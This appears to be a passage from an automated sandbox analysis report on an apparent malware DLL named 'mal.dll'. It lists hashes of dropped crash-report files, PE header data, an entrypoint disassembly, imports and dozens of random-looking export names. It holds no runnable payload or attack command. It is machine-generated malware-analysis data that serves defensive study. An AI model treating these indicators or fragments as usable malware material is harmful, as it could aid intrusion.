SSDEEP:	1536:FUHA8ZHr/z7dqVKCK0awYNP2molncPX4BssI:FUHA8ZHr/z7dqVKCK0awYNP2molncP4q
MD5:	760C0C341E6D4AB6E90B4CF99ECB6B72
SHA1:	5F4BD5FA694532B332EEDA311AD7E4C28DE57C4A
SHA-256:	0A3139412B1E043F7423A4F2D75C5745EABBA5E9D74F8F7AD738E41E9EDD4694
SHA-512:	DB1C3A2FA38AA6B825D7AEBBFB2544BBBE285EA32D695AC5D3871D77BD7D8885987F146A4A919F32EB8D31535B5E67DBC2C83D0B0ABDB765923620530126A8B3
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2440.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4558
Entropy (8bit):	4.430482411772029
Encrypted:	false
SSDEEP:	48:cvIwSD8zsTJgtWI9Zj1WSC8B98fm8M4J2yGtFe+q84tjDKcQIcQwQhdd:uITftyESNEJEWxDKkwQhdd
MD5:	C44D5FCFA4C7968F2231DFF934C914C4
SHA1:	93FD6221DEC7251F05DF251E592E69996D3718E1
SHA-256:	B34488C435110C11B59626E8EC4017CFBD4B51FDE8CFA83024F6812AD76E4EF4
SHA-512:	C11EC26808E1AA6E10DEA8CAB9963700C09EE51D25974E1268993CAC34A9F9FFAFCBA0E31FF48351B476030ED6FBDA067BC4F3629A913636858FFE3362B73386
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1278876" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER277F.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.694366916894771
Encrypted:	false
SSDEEP:	96:9GiZYWeU1eH4Y8EYHW4IH1YEZsvtk0iKEqI+NwqdNMpaGMSjizIdO3:9jZDe4SmrvAaGMSji8dO3
MD5:	D34028D15FCFB3E93CDDCDDEF534FE9C
SHA1:	ACFB14695F6CD566CE203DB0D8B551E50AB27D70
SHA-256:	68410881C59F5C019913F972562D5D03D0C0FCDC4AE9E8122AAB68368FBE3500
SHA-512:	CA156539250FC8DB276B2F3FF64FE97F59DD2DF03A7307C06B581884714BA480A6A6FF70E6FB6FF0DFD999BF3CA785FC06469C192DA2A8B8A861216DD32F7160
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2E.tmp.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4598
Entropy (8bit):	4.477100128494388
Encrypted:	false
SSDEEP:	48:cvIwSD8zsTJgtWI9Zj1WSC8BT8fm8M4J2yvZFL7+q84Wz/KcQIcQwQhdd:uITftyESN2JBTw/KkwQhdd
MD5:	BCA921FB2139CC9CBF9FA843E8E04CCE
SHA1:	09B6E777D80619083576F0073B5C141044DA816F
SHA-256:	5643B318FAAC21EEF41F479F2907F8CBBB2BA2B6394E1ABA182BF109CB73967D
SHA-512:	633BCB6560AFE7BA2194E29D8E8529E51BA6D3B60FC4E978A5708421BC15395EC359D69978201E2CBDBB6CD9E9C4D8EF9C5E13070BD61ADDBD7544AD22C87807
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1278876" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER475C.tmp.csv Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	49504
Entropy (8bit):	3.046214480484183
Encrypted:	false
SSDEEP:	1536:fNHk8hA9rD9d3dqxACKLw2C9mo1nZahK8qs:fNHk8hA9rD9d3dqxACKLw2C9mo1nZaKu
MD5:	3A6B79A861C2498DC74B41C4C47AD1C2
SHA1:	C917A29F1AFCF3CD4484558A50540AEE9492712B
SHA-256:	E9EFA2B3CD17C1A8D96C4BAF257E272AB8612D6139CA638C6158DC93745F968F
SHA-512:	1638262533B220652B62B7ACEDE2360B5DB4C25A2B696F86E47D4C6625B33FEDF418EC0DAFD6BC79B95C292AC04ED303A40507A32B3292740D9756865B679E54
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4AA9.tmp.txt Download File
Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.693853769718937
Encrypted:	false
SSDEEP:	96:9GiZYW7u9M4zb1Y1YKWA6yUHXYEZZatFiKyq7+Sw7aNXa0a4wZR6Izj3:9jZDy9ZizhQlma0a4kRtzj3
MD5:	815160F2FA14825C852FE6F40CB8334B
SHA1:	EA39BEB4C2958129BB3BA9797D4FE7814A600D5F
SHA-256:	77B2156C6621EE98C47304B22ED3B1985698E82C8C937061691D17731EF87297
SHA-512:	742A7C4E4237FFA10EC46D8529F262F387218B87EDA662584CCF901E722DA3A916A036400423E012F1028377550FD9BA38AE29409804AAED8C0CBD3C71EE8F4C
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.1.5.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF82D.tmp.dmp Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Wed Dec 1 17:25:38 2021, 0x1205a4 type
Category:	dropped
Size (bytes):	25940
Entropy (8bit):	2.552323813346806
Encrypted:	false
SSDEEP:	192:WrlaMO5hgMhy/5kgJmgi0ilF6ZWUcHEjzU:15uh/5kgJmgvilF6ZWVj
MD5:	4DEE3193ADBBB8E856D847FA57D241A7
SHA1:	262B42363EBEC83706CDA0CB5FA0ED306B0139DD
SHA-256:	E13B0D3DBD6B6544ABA508382E0BF48A723E5D4601C590E71CE9552B12B1F936
SHA-512:	FE3D3E7EA25B407A6DAC1AE28C4EEE34887E645DE9D9780C19153A4DFF719320DD8047121C940C60BE9E1D45AD78BC29F0A08720F3D1929E0B36DD9B3093338E
Malicious:	false
Preview:	MDMP....... ..........a............4...............H.......$...........................`.......8...........T...........h....X...........................................................................................U...........B......p.......GenuineIntelW...........T...........]..a;............................0..................W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .D.a.y.l.i.g.h.t. .T.i.m.e.......................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFC74.tmp.WERInternalMetadata.xml Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.7034129553024777
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi8Y6WBXs6YrwSUByogmfOSzn+pB889bKLsf6Om:RrlsNiz6z6Y8SUByogmfOSzoKQfK
MD5:	D16931DDE458EACE169C4C614F5F04F3
SHA1:	2E01D79C131812A24342C537874F4E14BA1262FD
SHA-256:	9D1B2688A25E89A630F0E9D013611E6D86190697852CB3D07C9350A68B91245A
SHA-512:	25590A733DB4AC407C59A00A5AC2B1AFA2EF0AD8E874F8ABEA39C46B4431FE67C6C678EBBFDE0FD1F2BF59AEC2DCD5862A9F8BBAA3B5570E21029EE44FAD7E83
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.8.8.0.<./.P.i.d.>.......

C:\Windows\appcompat\Programs\Amcache.hve Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1572864
Entropy (8bit):	4.23561428467192
Encrypted:	false
SSDEEP:	12288:j3rLo+MuY6hOQgWN8F9ZK5eeXAQEnHNi064cmgrUV9J99BzM:7rLo+MuY6hxgWNywX
MD5:	ACC34EDE4E06ED83933625F4CC7356DF
SHA1:	966066CEFF7348D96671527DE7402DA839AC3F1F
SHA-256:	399C9EF22BBEA528A7B8C6AAC0192A0A233490D8E2AF34935EA7240BFD400135
SHA-512:	E63F078C8C9DAC0BE90B4B0ED05E50D9A35B7640CEB51A42A122C7172C3C2FC875E2603CCF15D63AC8DCF2FA83380D190BBC1F2D1A18B7CFADDF142892CDD5A0
Malicious:	false
Preview:	regfI...I...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.H.t.................................................................................................................................................................................................................................................................................................................................................]*)........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve.LOG1 Download File
Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	3.7163846064597656
Encrypted:	false
SSDEEP:	384:CM45K5hocv4KgnVVeeDzewo1NKZtjooT8GRFwonU:leKVg/eeDzejNYtjOGRFwo
MD5:	98B36B1143289161730CE1E931F90DD9
SHA1:	B00EB50471991DE35EE39B0CC23902448BD555D4
SHA-256:	31B386D7BFDF10A381CC92B9A24C011E34BC8224CD60A582B7D0A981C8A796DD
SHA-512:	93C2E48BD5C9C1A5C81F71380FFA0A23B05E7E9D643E0F8BF7D652B11A06569C4791765B57F8090D095F5F3A7705C708E008C4E5015A2675D80ECE4468A00ED3
Malicious:	false
Preview:	regfH...H...p.\..,.................. ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e...4............E.4............E.....5............E.rmtm.H.t................................................................................................................................................................................................................................................................................................................................................(])HvLE.>......H............].gC..B...v............................hbin................p.\..,..........nk,...0t.................................... ...........................&...{ad79c032-a2ea-f756-e377-72fb9332c3ae}......nk ...0t........ ........................... .......Z.......................Root........lf......Root....nk ...0t.................................... ..............................DeviceCensus.......................vk..................WritePermissionsCheck.......p...

Static File Info

General
File type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.970959661903669
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mal.dll
File size:	387072
MD5:	9efbd03d5576686dd9f0678c09abe9fc
SHA1:	0b821e78137018bbf3f9c67d3b049e33d5b36ae5
SHA256:	972f9350219dcc2df463f923ec5b559f4ab69f083da9ccbd0976c51bc19f3f5b
SHA512:	fa2def2a793d79b63cf2c808c62e031544282bc3e01f97efa47b3114c702b004d767b818764f47c120007c680274ad9327587ac235186ee6e6d7bb168a19acc9
SSDEEP:	6144:zBYrPMTsY8GR3j4fubnY6Zs/Bv6yM6aSTsfA2qL6jpXNcc6CEteuQJPIgtlpZ5L:yhmT4GbnYks/BJNWo2LjpScDEteuOIoZ
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0...Q...Q...Q..E#...Q..E#...Q..E#...Q../$...Q...$...Q...$...Q...$...Q..E#...Q...Q...Q...Q...Q../$...Q../$...Q..Rich.Q.........

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General
Entrypoint:	0x1001cac1
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, DLL, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61A73B52 [Wed Dec 1 09:07:30 2021 UTC]
TLS Callbacks:	0x1000c340
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	609402ef170a35cc0e660d7d95ac10ce

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007F4A08CCB807h
call 00007F4A08CCBB98h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007F4A08CCB6B3h
add esp, 0Ch
pop ebp
retn 000Ch
push ebp
mov ebp, esp
push dword ptr [ebp+08h]
call 00007F4A08CCC0AEh
pop ecx
pop ebp
ret
push ebp
mov ebp, esp
jmp 00007F4A08CCB80Fh
push dword ptr [ebp+08h]
call 00007F4A08CCFB94h
pop ecx
test eax, eax
je 00007F4A08CCB811h
push dword ptr [ebp+08h]
call 00007F4A08CCFC10h
pop ecx
test eax, eax
je 00007F4A08CCB7E8h
pop ebp
ret
cmp dword ptr [ebp+08h], FFFFFFFFh
je 00007F4A08CCC173h
jmp 00007F4A08CCC150h
push ebp
mov ebp, esp
push 00000000h
call dword ptr [1002A08Ch]
push dword ptr [ebp+08h]
call dword ptr [1002A088h]
push C0000409h
call dword ptr [1002A040h]
push eax
call dword ptr [1002A090h]
pop ebp
ret
push ebp
mov ebp, esp
sub esp, 00000324h
push 00000017h
call dword ptr [1002A094h]
test eax, eax
je 00007F4A08CCB807h
push 00000002h
pop ecx
int 29h
mov dword ptr [1005E278h], eax
mov dword ptr [1005E274h], ecx
mov dword ptr [1005E270h], edx
mov dword ptr [1005E26Ch], ebx
mov dword ptr [1005E268h], esi
mov dword ptr [1005E264h], edi
mov word ptr [eax], es

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x5b590	0x614	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5bba4	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x60000	0x1bc0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5a1dc	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5a300	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5a230	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2a000	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x28bb4	0x28c00	False	0.53924822661	data	6.1540438823	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x2a000	0x32362	0x32400	False	0.817800645211	data	7.40644078277	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5d000	0x1ba4	0x1200	False	0.287109375	data	2.60484752417	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5f000	0x4c4	0x600	False	0.360677083333	AmigaOS bitmap font	2.17228109861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x60000	0x1bc0	0x1c00	False	0.7880859375	data	6.62631718459	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
axamexdrqyrgb	2	0x100017b0
bhramccfbdd	3	0x10001690
bptyjtyr	4	0x10001640
bxoqrnuua	5	0x100016c0
cegjceivzmgdcffk	6	0x100014e0
cgxpyqfkocm	7	0x10001480
chjbtsnqmvl	8	0x10001540
crfsijq	9	0x10001730
empxfws	10	0x10001590
fbgcvvbrlowsjsj	11	0x10001550
fjhmprw	12	0x10001660
gfqdajfucnxrv	13	0x10001850
hcloldazhuvj	14	0x10001790
idcumrbybo	15	0x10001500
ihvpwdsfllpvrzy	16	0x10001750
iuzqizpdhxqkmf	17	0x100014c0
jaarlqsruhrwpipt	18	0x100016e0
jndshbhgxdkvvtj	19	0x10001600
jniijdleqsyajeis	20	0x10001650
jtjqgma	21	0x100016f0
kffxtbzhfgbqlu	22	0x10001630
kwxkzdhqe	23	0x100016d0
lidhnvsukgiuabh	24	0x100016b0
ltcrkednwfkup	25	0x10001820
lvrmqgtvhsegpbvmq	26	0x10001770
mxvwvnerswyylp	27	0x10001520
ndlmbjceavqdintmv	28	0x100017d0
nvnriipkwrmxwsu	29	0x10001510
oafxfavxmi	30	0x10001570
ocwutlohg	31	0x100014b0
olcklbdvo	32	0x10001680
pawvqfmiz	33	0x100015e0
pdmomnjmmryopqza	34	0x10001560
plzkvjcbz	35	0x10001710
poasqvltrkgvepng	36	0x10001840
psjoyjhsrkg	37	0x100015b0
qdimtzieldbl	38	0x10001620
qzvngjfyuxpjag	39	0x10001580
relsounb	40	0x100016a0
rykebhcisi	41	0x10001670
snrvgvzpjh	42	0x100017c0
sqnfcfmocgbg	43	0x10001740
sxgllzweihxqxi	44	0x10001760
tgagxhhcfj	45	0x10001780
thjyvtvttwpah	46	0x10001830
uvypobslemtipv	47	0x10001640
vgidwtjsbwpxkdxj	48	0x100017a0
wahhdker	49	0x100014a0
wamqmispvbxt	50	0x100015f0
witvsjavqyw	51	0x10001720
wopabadcwdizvwlgk	52	0x10001490
wpzyecljz	53	0x10001800
wukgfirfwilhu	54	0x100015d0
xntbmrrxs	55	0x100017f0
xsxwxreryufxwuhh	56	0x10001700
xvgdevijtw	57	0x10001610
ydvqidso	58	0x100015c0
